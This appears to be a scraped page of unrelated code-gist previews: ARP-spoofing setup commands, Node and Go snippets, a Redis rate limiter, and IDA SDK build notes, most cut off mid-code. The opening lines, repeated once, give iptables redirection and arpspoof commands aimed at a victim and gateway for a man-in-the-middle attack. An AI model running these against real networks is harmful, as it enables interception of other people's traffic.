- Enable IP forwarding & port redirection
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
- Use
tmux
to run 2 instances ofarpspoof
:
arpspoof -i $INTERFACE -t $VICTIM_IP $GATEWAY_IP
var util=require('util') | |
var WebSocketClient = require('websocket').client; | |
var client = new WebSocketClient(); | |
var conn = null | |
var received = false | |
client.on('connectFailed', function(error) { | |
console.log('Connect Error: ' + error.toString()); | |
}); |
package main | |
import "fmt" | |
func f(c chan func() (int, string)) { | |
c <- (func() (int, string) { return 0, "s" }) | |
} | |
func main() { | |
c := make(chan func() (int, string)) |
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
tmux
to run 2 instances of arpspoof
:arpspoof -i $INTERFACE -t $VICTIM_IP $GATEWAY_IP
##Golang Type Switch - Arbitrary JSON Array Parsing I'm writing this mostly as a reference for myself. This could also be helpful to people who are new to GO.
####Note 1: Until Problem 3 we will assume we are dealing with a JSON for which we know the data types of key,value pairs. Only in Problem 3 we will look at how Type Switch is used to parse a 100% arbitary JSON
####Note 2: I know the following examples given here can be easily solved by declaring approprite structs and just decoding the PUT JSON into them, but, as im not able to come up with a better scenario, im going to stick with this to explain arbitrary JSON parsing.
The following guide will show you how to deploy a simple microservice written in JavaScript using 𝚫 now.
It uses Open Source tools that are widely available, tested and understood:
var Ioredis = require('ioredis'); | |
var redis = new Ioredis(); | |
// Rolling window rate limiter | |
// | |
// key is a unique identifier for the process or function call being limited | |
// exp is the expiry in milliseconds | |
// maxnum is the number of function calls allowed before expiry | |
var redis_limiter_rolling = function(key, maxnum, exp, next) { | |
redis.multi([ |
package main | |
// Adapted from : https://gist.github.com/arnehormann/65421048f56ac108f6b5 | |
import ( | |
"encoding/binary" | |
"flag" | |
"fmt" | |
"io" | |
"io/ioutil" |
To build the IDA and HexRays SDK on Mac OS X: | |
1. Unzip the sdk | |
2. Copy the libida.dylib and libida64.dylib (from your IDA install) into idasdk67/lib/x86_mac_gcc_32 and idasdk67/lib/x64_mac_gcc_64 (these actually might go into bin and not lib...) | |
3. Install libiconv via brew (mine was libiconv.2.4.0.dylib) | |
4. Copy libiconv.2.4.0.dylib into idasdk67/lib/x86_mac_gcc_32 and idasdk67/lib/x64_mac_gcc_64 and rename it to libiconv.2.2.0.dylib | |
5. Copy the hexrays_sdk | |
cp -r /Applications/IDA Pro 6.7/IDA binaries/plugins/hexrays_sdk/include/* idasdk67/include/ | |
cp -r /Applications/IDA Pro 6.7/IDA binaries/plugins/hexrays_sdk/plugins/* idasdk67/plugins/ | |
6. Edit the plugin makefile to remove qwindow |